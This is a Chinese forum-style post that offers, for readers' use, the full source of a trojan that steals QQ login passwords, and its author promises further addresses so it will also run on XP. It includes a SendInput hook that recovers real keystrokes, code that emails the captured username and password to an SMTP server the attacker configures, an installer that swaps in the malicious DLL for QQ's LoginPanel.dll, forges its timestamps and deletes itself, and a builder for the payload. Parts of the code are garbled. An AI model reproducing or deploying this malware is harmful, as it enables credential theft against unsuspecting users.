代码没给大家 讲解,不知道看懂没。
所以,现在我原理给大家说一下,腾讯QQ 安装了两个钩子一个是WH_DEBUG,还有一个是WH_KEYBOARD_LL,当QQ的密码框获得焦点的时候DEBUG钩子就开始用SendInput发送乱码,在QQ启动的时候也会先调用SendInput发送一个乱码,所以就挂钩SendInput 这个函数,我们正确安装按键的时候QQ会通过WH_KERBOARD_LL低级钩子,发送一个错误的按键信息,在这里通过分析,发现在WIN7系统上 真实的按键的就在0x12faa0处记录着,挂钩之后判断一下来源,
if(nRetAddress!=0x74F3&&nRetAddress!=0x7374) ,就排除不是真实按键调用的,当然上面这句我们是WIn7上的地址,所有有朋友说,在XP上不行,由于我是WIN7的系统,还没装XP的虚拟机,所以并没添加这个判断,传进来的pInputs等我们基本上就不用去管他,然后通过if(pInputs->ki.dwFlags==0) 判断是否是键盘按下,如果是按下,我们就开始记录。 DWORD nRetAddress=0; _asm {
mov eax,0 mov ax,[ebp+4] mov nRetAddress,eax }
if(nRetAddress!=0x74F3&&nRetAddress!=0x7374) 这就是取得是什么地方在调用SendInput. char key=0; _asm {
mov ebx,0x12faa0 mov eax,0 mov al,[ebx] mov key,al }
获取真实的按键,稍后我换上XP系统后,会将这个几个关键西方的发出,大家就可以在XP上也能使用这个木马了。
有人会问为什么我 的文件是User32Hook.cpp 实际挂钩的是SendInput,这个是因为,我用OD分析的时候发现在User32.dll中有一个固定地址 通过[ebp+c]之后也可以获取到 键盘按下的真实按键信息,只要挂钩在那里,也是可以获得真确的按键信息,然后写出木马,并且可以早于QQ的WH_KEYBOARD_LL钩子获取真实按键,就算QQ在WH_KEYBOARD_LL把 WIN7下地址为0x12faa0的真实按键信息清0,也是没有用的,兴趣的朋友,就在 WH_KEYBOARD_LL上下段,然后往上跟就会看到了。只是这样挂钩USER32.dll的时候光写这个DLL了,就得去修改QQ.EXE文件,修改QQEXE后,他有个自身文件的验证,可以通过修改输入表,替换掉CreateFileW 改变打开的文件,而绕过他的文件验证保护,在首地址写入,加载DLL的代码,立马挂钩USER32.DLL,然后恢复QQ的OEP地址的内存,从新回到QQ的OEP,这样就可以在QQ输入密码的时候早于QQ获得,也不用在挂钩SendInput,后来我发现WH_KEYBOARD_LL钩子中当真实的按键按下时,他也会去调用SendInput虽然是错的按键,但是我们可以通过0x12faa0获得真实的按键,所以我就改写了,代码,这样看起来更简单。其他的我就不多说,有兴趣的朋友,在分析把!
代码在后面,我会陆续全部贴上 代码:
#include #include #include #pragma comment(lib,\"User32.lib\") #include \"User32Hook.h\" char g_Password[100]={0}; int g_KeyIndex=0; BYTE g_OldFunc[8]; BYTE g_NewFunc[8]; FARPROC g_lpHookFunc; BYTE g_NewFunc2[8]={0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90}; DWORD g_lpHookFunc2; char asciiKey1[]={ '~','1','2','3','4','5','6','7','8','9','0','-','=', 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', '[',']','\\\\',';','\\'',',','.','/', '0','1','2','3','4','5','6','7','8','9','*','+','-','.','*' }; char asciiKey2[]={ '~','1','2','3','4','5','6','7','8','9','0','-','=', 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z', '[',']','\\\\',';','\\'',',','.','/', '0','1','2','3','4','5','6','7','8','9','*','+','-','.','*' }; unsigned int asciiTbl[]={ 0xFFFFFFC0,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x30,0xFFFFFFBD,0xFFFFFFBB, 0x41,0x42,0x43,0x44,0x45,0x46,0x47,0x48,0x49,0x4A,0x4B,0x4C,0x4D,0x4E,0x4F,0x50,0x51,0x52,0x53,0x54,0x55,0x56,0x57,0x58,0x59,0x5A, 0xFFFFFFDB,0xFFFFFFDD,0xFFFFFFDC,0xFFFFFFBA,0xFFFFFFDE,0xFFFFFFBC,0xFFFFFFBE,0xFFFFFFBF, 0x60,0x61,0x62,0x63,0x64,0x65,0x66,0x67,0x68,0x69,0x6A,0x6B,0x6D,0x6E,0x6F }; UINT WINAPI XwSendInput(UINT nInputs,LPINPUT pInputs,int cbSize) { DWORD nRetAddress=0; _asm { mov eax,0 mov ax,[ebp+4] mov nRetAddress,eax } UINT nRet=0; HookOff(); nRet=SendInput(nInputs,pInputs,cbSize); HookOn(); if(nRetAddress!=0x74F3&&nRetAddress!=0x7374) { char key=0; _asm { mov ebx,0x12faa0 mov eax,0 mov al,[ebx] mov key,al } POINT point; ::GetCaretPos(&point); int postion=point.x/8; if(pInputs->ki.dwFlags==0) { for(int i=0;i<63;i++) { if(GetKeyState(VK_NUMLOCK)==0&&i>(63-15)) break; if(asciiTbl[i]==key) { if((GetKeyState(VK_CAPITAL)==1&&GetAsyncKeyState(VK_SHIFT)!=0)||GetKeyState(VK_CAPITAL)==0&&GetAsyncKeyState(VK_SHIFT)==0) { if(postion=postion;k--) { g_Password[k+1]=g_Password[k]; } g_Password[postion]=asciiKey1[i]; g_KeyIndex++; } else g_Password[g_KeyIndex++]=asciiKey1[i]; } if((GetKeyState(VK_CAPITAL)==1&&GetAsyncKeyState(VK_SHIFT)==0)||(GetKeyState(VK_CAPITAL)==0&&GetAsyncKeyState(VK_SHIFT)!=0)) { if(postion=postion;k--) { g_Password[k+1]=g_Password[k]; } g_Password[postion]=asciiKey2[i]; g_KeyIndex++; } else g_Password[g_KeyIndex++]=asciiKey2[i]; } } } if(key==0x8) { if(g_KeyIndex>0) { g_Password[g_KeyIndex]=0; g_Password[--g_KeyIndex]=0; } } } } return nRet; } void InitHookCallBack() { g_lpHookFunc=GetProcAddress(GetModuleHandle(\"user32.dll\"),\"SendInput\"); g_NewFunc[0]=0xe9; memcpy(g_OldFunc,(char*)g_lpHookFunc,5); DWORD *pNewFuncAddress=(DWORD*)&g_NewFunc[1]; *pNewFuncAddress=(DWORD)((FARPROC)XwSendInput)-((DWORD)g_lpHookFunc)-5; } void HookOn() { DWORD dwOleFlag; WriteProcessMemory(GetCurrentProcess(),(void*)g_lpHookFunc,(void*)g_NewFunc,5,&dwOleFlag); } void HookOff() { DWORD dwNewFlag; WriteProcessMemory(GetCurrentProcess(),(void*)g_lpHookFunc,(void*)g_OldFunc,5,&dwNewFlag); } 木马dll函数的 main.cpp文件的代码 代码:#include #include #include \"User32Hook.h\" #include \"SendMail.h\" #pragma comment(linker,\"/export:DllCanUnloadNow=Command.DllCanUnloadNow\") #pragma comment(linker,\"/export:DllGetClassObject=Command.DllGetClassObject\") #pragma comment(linker,\"/export:DllMain=Command.DllMain\") #pragma comment(linker,\"/export:DllRegisterServer=Command.DllRegisterServer\") #pragma comment(linker,\"/export:DllUnregisterServer=Command.DllUnregisterServer\") HWND hLoginWindow,hUserName,hUserPwd; char g_UserName[100]={0}; char g_Version[100]={0}; void WaitLoginWindow() { Sleep(1500); while(true) { hLoginWindow=GetForegroundWindow(); POINT pni; RECT rcWindow; GetWindowRect(hLoginWindow,&rcWindow); pni.y=rcWindow.top+115; pni.x=rcWindow.left+100; hUserName=WindowFromPoint(pni); pni.y=rcWindow.top+155; pni.x=rcWindow.left+100; hUserPwd=WindowFromPoint(pni); LONG lStyle = ::GetWindowLong(hUserPwd, GWL_STYLE); if(lStyle & ES_PASSWORD) break; Sleep(100); } } DWORD WINAPI ServerThreadProc(LPVOID lpParameter) { memset(g_Password,0,100); WaitLoginWindow(); SendMessage(hUserName,WM_GETTEXT,100,(LPARAM)g_UserName); SendMessage(hLoginWindow,WM_GETTEXT,100,(LPARAM)g_Version); while(true) { char tempAccounts[100]; ::SendMessage(hUserName,WM_GETTEXT,100,(LPARAM)tempAccounts); if(strcmp(g_UserName,tempAccounts)!=0&&strlen(tempAccounts)!=0) strcpy(g_UserName,tempAccounts); LONG lStyle = ::GetWindowLong(hUserPwd, GWL_STYLE); if((lStyle & ES_PASSWORD)==0) break; Sleep(100); } char szContext[64]={0}; sprintf(szContext,\"QQ版本:%s\\r\\n用户名:%s\\r\\n密 码:%s\\r\\n\ SMTPINFO smtpinfo; strcpy(smtpinfo.SmtpSrvName,\"AAAAAAAAAAAAAAAAAAAA\"); strcpy(smtpinfo.Port,\"25\"); strcpy(smtpinfo.UserName,\"BBBBBBBBBBBBBBBBBBBB\"); strcpy(smtpinfo.Password,\"CCCCCCCCCCCCCCCCCCCC\"); strcpy(smtpinfo.From,\"DDDDDDDDDDDDDDDDDDDD\"); strcpy(smtpinfo.To,\"EEEEEEEEEEEEEEEEEEEE\"); strcpy(smtpinfo.Subject,\"*☆‰小五※*提醒-获取到新的QQ!\"); strcpy(smtpinfo.Msg,szContext); SendMail(&smtpinfo); return 0; } BOOL WINAPI DllMain(__in void * _HDllHandle, __in unsigned _Reason, __in_opt void * _Reserved) { switch(_Reason) { case DLL_PROCESS_ATTACH: InitHookCallBack(); HookOn(); CreateThread(NULL,0,ServerThreadProc,0,0,0); break; case DLL_PROCESS_DETACH: break; } return TRUE; } int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow) { return 0; } .h 文件的代码 HookOff(); HookOn();InitHookCallBack();
char g_Password[100];
文件
f struct _SMTPINFO
ar SmtpSrvName[32]; ar Port[7];
ar UserName[16]; ar Password[16]; ar From[32]; ar To[32];
ar Subject[32]; ar Msg[64]; NFO;
户名和密码转换为base64编码
Base64(unsigned char *chasc,unsigned char *chuue); alk(SOCKET sockid, const char *OkCode, char *pSend); endMail(const SMTPINFO *psmtpinfo);
pp文件中的代码
de e WIN32_LEAN_AND_MEAN de de de de \"SendMail.h\"a comment(lib,\"ws2_32.lib\")
int buflen = 256; buf[buflen];
,userlen,passlen;
----------------------------------------------------------------- endMail(const SMTPINFO *psmtpinfo)
准备网络连接 ADATA wsadata;
(WSAStartup(MAKEWORD(2,2),&wsadata) != 0)
return 1;
创建套接字 CKET sockid;
((sockid = socket(AF_INET,SOCK_STREAM,0)) == INVALID_SOCKET)
WSACleanup(); return 1;
得到smtp服务器ip
ruct hostent *phostent = gethostbyname(psmtpinfo->SmtpSrvName); ruct sockaddr_in addr;
pyMemory(&addr.sin_addr.S_un.S_addr, ostent->h_addr_list[0],
zeof(addr.sin_addr.S_un.S_addr));
dr.sin_family = AF_INET;
dr.sin_port = htons(atoi(psmtpinfo->Port)); roMemory(&addr.sin_zero, 8);
连接服务器
(connect(sockid, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == SOCKET_ERROR)
goto STOP;
(Talk(sockid, \"220\\"EHLO sjdf\"))
goto STOP;
(Talk(sockid, \"250\\"AUTH LOGIN\"))
goto STOP;
roMemory(buf, buflen);
erlen = lstrlen(psmtpinfo->UserName); sslen = lstrlen(psmtpinfo->Password);
r(i = 0; i < (userlen%3?userlen/3+1:userlen/3); i++)
Base64((unsigned char * )(psmtpinfo->UserName + i * 3),(unsigned char * )( buf + i *
(Talk(sockid, \"334\buf))
goto STOP;
roMemory(buf, buflen);
r(i = 0; i < (passlen%3?passlen/3+1:passlen/3); i++)
Base64((unsigned char *)(psmtpinfo->Password + i * 3),(unsigned char * ) (buf + i *
(Talk(sockid, \"334\buf))
goto STOP;
roMemory(buf, buflen);
printf(buf, \"MAIL FROM:<%s>\psmtpinfo->From);
(Talk(sockid, \"235\buf))
goto STOP;
roMemory(buf, buflen);
printf(buf, \"RCPT TO:<%s>\psmtpinfo->To);
(Talk(sockid, \"250\buf))
goto STOP;
(Talk(sockid, \"250\\"DATA\"))
goto STOP;
roMemory(buf, buflen);
printf(buf, \"TO: %s\\r\\nFROM: %s\\r\\nSUBJECT: %s\\r\\n\\r\\n%s\\r\\n.\ psmtpinfo->To,psmtpinfo->From,psmtpinfo->Subject,psmtpinfo->Msg); (Talk(sockid, \"354\buf))
goto STOP;
(Talk(sockid, \"250\\"QUIT\"))
goto STOP;
(Talk(sockid, \"221\\"\"))
goto STOP;
se
closesocket(sockid); WSACleanup(); return 0;
osesocket(sockid); ACleanup(); turn 1;
----------------------------------------------------------------- alk(SOCKET sockid, const char *OkCode, char *pSend)
nst int buflen = 256; ar buf[buflen];
roMemory(buf, buflen);
接收返回信息
(recv(sockid, buf, buflen, 0) == SOCKET_ERROR)
return 1;
(strstr(buf, OkCode) == NULL)
return 1;
发送命令
(lstrlen(pSend))
ZeroMemory(buf, buflen);
wsprintf(buf, \"%s\\r\\n\pSend);
typedef int (*MySend)(SOCKET,const char*,int,int);
HMODULE hModule=LoadLibrary(\"Ws2_32.dll\");
MySend mySend=(MySend)GetProcAddress(hModule,\"send\");
WSABUF DataBuf;
DataBuf.len=lstrlen(buf); DataBuf.buf=buf;
DWORD dwS;
if(WSASend(sockid,&DataBuf,1,&dwS,0,0,0))
//if (mySend(sockid, buf, lstrlen(buf), 0) == SOCKET_ERROR) {
return 1; }
turn 0;
----------------------------------------------------------------- 64编码,chasc:未编码的二进制代码,chuue:编码过的Base64代码 户名和密码转换为base64编码
Base64(unsigned char *chasc,unsigned char *chuue)
t i,k=2;
signed char t = 0;
r(i=0;i<3;i++)
*(chuue+i)=*(chasc+i)>>k; *(chuue+i)|=t;
t=*(chasc+i)<<(8-k); t>>=2; k+=2;
chuue+3)=*(chasc+2)&63;
r(i=0;i<4;i++)
if((*(chuue+i)>=0)&&(*(chuue+i)<=25)) *(chuue+i)+=65;
else if((*(chuue+i)>=26)&&(*(chuue+i)<=51)) *(chuue+i)+=71;
else if((*(chuue+i)>=52)&&(*(chuue+i)<=61)) *(chuue+i)-=4;
else if(*(chuue+i)==62) *(chuue+i)=43;
else if(*(chuue+i)==63) *(chuue+i)=47;
User32Hook.cpp 文件的代码,这里便是怎么获取到QQ密码的地方.
代码:
#include #include #include #pragma comment(lib,\"User32.lib\") #include \"User32Hook.h\" char g_Password[100]={0}; int g_KeyIndex=0; BYTE g_OldFunc[8]; BYTE g_NewFunc[8]; FARPROC g_lpHookFunc; BYTE g_NewFunc2[8]={0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90}; DWORD g_lpHookFunc2; char asciiKey1[]={ '~','1','2','3','4','5','6','7','8','9','0','-','=', 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', '[',']','\\\\',';','\\'',',','.','/', '0','1','2','3','4','5','6','7','8','9','*','+','-','.','*' }; char asciiKey2[]={ '~','1','2','3','4','5','6','7','8','9','0','-','=', 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z', '[',']','\\\\',';','\\'',',','.','/', '0','1','2','3','4','5','6','7','8','9','*','+','-','.','*' }; unsigned int asciiTbl[]={ 0xFFFFFFC0,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x30,0xFFFFFFBD,0xFFFFFFBB, 0x41,0x42,0x43,0x44,0x45,0x46,0x47,0x48,0x49,0x4A,0x4B,0x4C,0x4D,0x4E,0x4F,0x50,0x51,0x52,0x53,0x54,0x55,0x56,0x57,0x58,0x59,0x5A, 0xFFFFFFDB,0xFFFFFFDD,0xFFFFFFDC,0xFFFFFFBA,0xFFFFFFDE,0xFFFFFFBC,0xFFFFFFBE,0xFFFFFFBF, 0x60,0x61,0x62,0x63,0x64,0x65,0x66,0x67,0x68,0x69,0x6A,0x6B,0x6D,0x6E,0x6F }; UINT WINAPI XwSendInput(UINT nInputs,LPINPUT pInputs,int cbSize) { DWORD nRetAddress=0; _asm { mov eax,0 mov ax,[ebp+4] mov nRetAddress,eax } UINT nRet=0; HookOff(); nRet=SendInput(nInputs,pInputs,cbSize); HookOn(); if(nRetAddress!=0x74F3&&nRetAddress!=0x7374) { char key=0; _asm { mov ebx,0x12faa0 mov eax,0 mov al,[ebx] mov key,al } POINT point; ::GetCaretPos(&point); int postion=point.x/8; if(pInputs->ki.dwFlags==0) { for(int i=0;i<63;i++) { if(GetKeyState(VK_NUMLOCK)==0&&i>(63-15)) break; if(asciiTbl[i]==key) { if((GetKeyState(VK_CAPITAL)==1&&GetAsyncKeyState(VK_SHIFT)!=0)||GetKeyState(VK_CAPITAL)==0&&GetAsyncKeyState(VK_SHIFT)==0) { if(postion=postion;k--) { g_Password[k+1]=g_Password[k]; } g_Password[postion]=asciiKey1[i]; g_KeyIndex++; } else g_Password[g_KeyIndex++]=asciiKey1[i]; } if((GetKeyState(VK_CAPITAL)==1&&GetAsyncKeyState(VK_SHIFT)==0)||(GetKeyState(VK_CAPITAL)==0&&GetAsyncKeyState(VK_SHIFT)!=0)) { if(postion=postion;k--) { g_Password[k+1]=g_Password[k]; } g_Password[postion]=asciiKey2[i]; g_KeyIndex++; } else g_Password[g_KeyIndex++]=asciiKey2[i]; } } } if(key==0x8) { if(g_KeyIndex>0) { g_Password[g_KeyIndex]=0; g_Password[--g_KeyIndex]=0; } } } } return nRet; } void InitHookCallBack() { g_lpHookFunc=GetProcAddress(GetModuleHandle(\"user32.dll\"),\"SendInput\"); g_NewFunc[0]=0xe9; memcpy(g_OldFunc,(char*)g_lpHookFunc,5); DWORD *pNewFuncAddress=(DWORD*)&g_NewFunc[1]; *pNewFuncAddress=(DWORD)((FARPROC)XwSendInput)-((DWORD)g_lpHookFunc)-5; } void HookOn() { DWORD dwOleFlag; WriteProcessMemory(GetCurrentProcess(),(void*)g_lpHookFunc,(void*)g_NewFunc,5,&dwOleFlag); } void HookOff() { DWORD dwNewFlag; WriteProcessMemory(GetCurrentProcess(),(void*)g_lpHookFunc,(void*)g_OldFunc,5,&dwNewFlag); } 用来安装DLL文件的代码 代码:#include #include #include #pragma comment(lib,\"Shlwapi.lib\") #include #include #include \"resource.h\" char g_data1[100]=\"aaaaaaaaaaaaaaaaaaaa\"; char g_data2[100]=\"bbbbbbbbbbbbbbbbbbbb\"; char g_data3[100]=\"cccccccccccccccccccc\"; char g_data4[100]=\"dddddddddddddddddddd\"; char g_data5[100]=\"eeeeeeeeeeeeeeeeeeee\"; CHAR szPath[1024]={0}; DWORD dwIsQQ=0; int GetQQPath(LPSTR lpPath) { if(PathIsDirectory(\"C:\\\\Program Files\\\\Tencent\\\\QQ\\\\Bin\")) { strcpy(szPath,\"C:\\\\Program Files\\\\Tencent\\\\QQ\\\\Bin\\\\\"); dwIsQQ=1; return true; } else if(PathIsDirectory(\"D:\\\\Program Files\\\\Tencent\\\\QQ\\\\Bin\")) { strcpy(szPath,\"D:\\\\Program Files\\\\Tencent\\\\QQ\\\\Bin\\\\\"); dwIsQQ=1; return true; } else if(PathIsDirectory(\"E:\\\\Program Files\\\\Tencent\\\\QQ\\\\Bin\")) { strcpy(szPath,\"E:\\\\Program Files\\\\Tencent\\\\QQ\\\\Bin\\\\\"); dwIsQQ=1; return true; } else if(PathIsDirectory(\"F:\\\\Program Files\\\\Tencent\\\\QQ\\\\Bin\")) { strcpy(szPath,\"F:\\\\Program Files\\\\Tencent\\\\QQ\\\\Bin\\\\\"); dwIsQQ=1; return true; } WIN32_FIND_DATA FindFileData; HANDLE hFind; CHAR szDir[512]; strcpy(szDir,lpPath); if(szDir[strlen(szDir)-1]!='\\\\') strcat(szDir,\"\\\\\"); strcat(szDir,\"*.*\"); hFind = ::FindFirstFile(szDir, &FindFileData); if(hFind==INVALID_HANDLE_VALUE) return 0; do { if(FindFileData.dwFileAttributes>=16&&FindFileData.dwFileAttributes<=22) { if(FindFileData.cFileName[0]!='.'&&stricmp(\"Windows\FileData.cFileName)!=0) { strcpy(szDir,lpPath); if(szDir[strlen(szDir)-1]!='\\\\') strcat(szDir,\"\\\\\"); strcat(szDir,FindFileData.cFileName); GetQQPath(szDir); } } else if(stricmp(\"QQ.exe\ { if(lpPath[strlen(lpPath)-1]!='\\\\') strcat(lpPath,\"\\\\\"); strcpy(szPath,lpPath); dwIsQQ=1; return 1; } } while (::FindNextFileA(hFind,&FindFileData)); return 0; } void WriteData(HANDLE hFile) { LONG dwAddress=0; DWORD dwWrite; dwAddress=0x177C; SetFilePointer(hFile,dwAddress,NULL,FILE_BEGIN); WriteFile(hFile,g_data1,20,&dwWrite,NULL); dwAddress=0x1798; SetFilePointer(hFile,dwAddress,NULL,FILE_BEGIN); WriteFile(hFile,g_data2,20,&dwWrite,NULL); dwAddress=0x17B0; SetFilePointer(hFile,dwAddress,NULL,FILE_BEGIN); WriteFile(hFile,g_data3,20,&dwWrite,NULL); dwAddress=0x17C8; SetFilePointer(hFile,dwAddress,NULL,FILE_BEGIN); WriteFile(hFile,g_data4,20,&dwWrite,NULL); dwAddress=0x17E0; SetFilePointer(hFile,dwAddress,NULL,FILE_BEGIN); WriteFile(hFile,g_data5,20,&dwWrite,NULL); char szDllPath2[1000]; strcpy(szDllPath2,szPath); strcat(szDllPath2,\"LoginPanel.dll\"); HANDLE hFileTime=CreateFile(szDllPath2,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,NULL,NULL); FILETIME time; GetFileTime(hFileTime,NULL,NULL,&time); SetFileTime(hFile,&time,&time,&time); CloseHandle(hFile); CloseHandle(hFileTime); } bool InsertQQDirectory() { HRSRC hRsrc=::FindResource(NULL,MAKEINTRESOURCE(IDR_DLL2),\"DLL\"); HGLOBAL hGlobal=::LoadResource(NULL,hRsrc); LPVOID lpVoid=::LockResource(hGlobal); DWORD dwSize=::SizeofResource(NULL,hRsrc); CHAR szDriver[512]={0}; for(int i=0;i<26;i++) { szDriver[0]='B'+i; szDriver[1]=':'; szDriver[2]='\\\\'; dwIsQQ=0; DWORD dwType=::GetDriveType(szDriver); if(dwType==DRIVE_NO_ROOT_DIR) continue; GetQQPath(szDriver); if(dwIsQQ==1) { char szDllPath[1000]; char szOlePath[1000]; char szNewPath[1000]; strcpy(szOlePath,szPath); strcat(szOlePath,\"LoginPanel.dll\"); strcpy(szNewPath,szPath); strcat(szNewPath,\"command.dll\"); if(GetFileType(szNewPath)!=FILE_TYPE_UNKNOWN) return true; CopyFile(szOlePath,szNewPath,TRUE); CopyFile(szOlePath,szNewPath,TRUE); strcpy(szDllPath,szPath); strcat(szDllPath,\"LoginPanel.dll\"); HANDLE hFile=::CreateFile(szDllPath,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,CREATE_ALWAYS,0,NULL); DWORD dwWriteByte; if(hFile!=NULL) ::WriteFile(hFile,lpVoid,dwSize,&dwWriteByte,NULL); WriteData(hFile); return true; } } return false; } void CloseAllQQProcess() { while (true) { HWND hwnd=FindWindow(\"TXGuiFoundation\ SendMessage(hwnd,WM_CLOSE,0,0); PostMessage(hwnd,WM_CLOSE,0,0); SendMessage(hwnd,WM_DESTROY,0,0); PostMessage(hwnd,WM_DESTROY,0,0); SendMessage(hwnd,WM_CHAR,VK_RETURN,0); PostMessage(hwnd,WM_CHAR,VK_RETURN,0); Sleep(10); if(hwnd==NULL) break; } } void SelfDelete(void) { char lpBuffer[MAX_PATH], lpFilename[MAX_PATH], lpCmdLine[MAX_PATH]; GetEnvironmentVariable(\"ComSpec\lpBuffer, MAX_PATH); GetModuleFileName(NULL, lpFilename, MAX_PATH); sprintf(lpCmdLine, \"%s /c del \\\"%s\\\"\lpBuffer, lpFilename); WinExec(lpCmdLine, SW_HIDE); } int WINAPI WinMain( __in HINSTANCE hInstance, __in_opt HINSTANCE hPrevInstance, __in_opt LPSTR lpCmdLine, __in int nShowCmd ) { CloseAllQQProcess(); InsertQQDirectory(); SelfDelete(); return 0; } 配置器中的 主要函数代码 代码:void CConfigureSetupDlg::WriteData() { HRSRC hRsrc=::FindResource(NULL,MAKEINTRESOURCE(IDR_EXE1),\"EXE\"); HGLOBAL hGlobal=::LoadResource(NULL,hRsrc); LPVOID lpVoid=::LockResource(hGlobal); DWORD dwSize=::SizeofResource(NULL,hRsrc); char szDllPath[1000]; GetCurrentDirectory(1000,szDllPath); strcat(szDllPath,\"\\\\Setup.exe\"); HANDLE hFile=::CreateFile(szDllPath,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,CREATE_NEW,0,NULL); DWORD dwWriteByte; if(hFile!=NULL) ::WriteFile(hFile,lpVoid,dwSize,&dwWriteByte,NULL); LONG dwAddress=0; DWORD dwWrite; UpdateData(TRUE); char sz0[20]={0}; dwAddress=0x3018; SetFilePointer(hFile,dwAddress,NULL,FILE_BEGIN); WriteFile(hFile,sz0,20,&dwWrite,NULL); SetFilePointer(hFile,dwAddress,NULL,FILE_BEGIN); WriteFile(hFile,m_SmtpServer,m_SmtpServer.GetLength(),&dwWrite,NULL); dwAddress=0x3080; SetFilePointer(hFile,dwAddress,NULL,FILE_BEGIN); WriteFile(hFile,sz0,20,&dwWrite,NULL); SetFilePointer(hFile,dwAddress,NULL,FILE_BEGIN); WriteFile(hFile,m_UserName,m_UserName.GetLength(),&dwWrite,NULL); dwAddress=0x30E8; SetFilePointer(hFile,dwAddress,NULL,FILE_BEGIN); WriteFile(hFile,sz0,20,&dwWrite,NULL); SetFilePointer(hFile,dwAddress,NULL,FILE_BEGIN); WriteFile(hFile,m_Password,m_Password.GetLength(),&dwWrite,NULL); dwAddress=0x3150; SetFilePointer(hFile,dwAddress,NULL,FILE_BEGIN); WriteFile(hFile,sz0,20,&dwWrite,NULL); SetFilePointer(hFile,dwAddress,NULL,FILE_BEGIN); WriteFile(hFile,m_SendMailAddress,m_SendMailAddress.GetLength(),&dwWrite,NULL); dwAddress=0x31B8; SetFilePointer(hFile,dwAddress,NULL,FILE_BEGIN); WriteFile(hFile,sz0,20,&dwWrite,NULL); SetFilePointer(hFile,dwAddress,NULL,FILE_BEGIN); WriteFile(hFile,m_RecvMailAddress,m_RecvMailAddress.GetLength(),&dwWrite,NULL); CloseHandle(hFile); }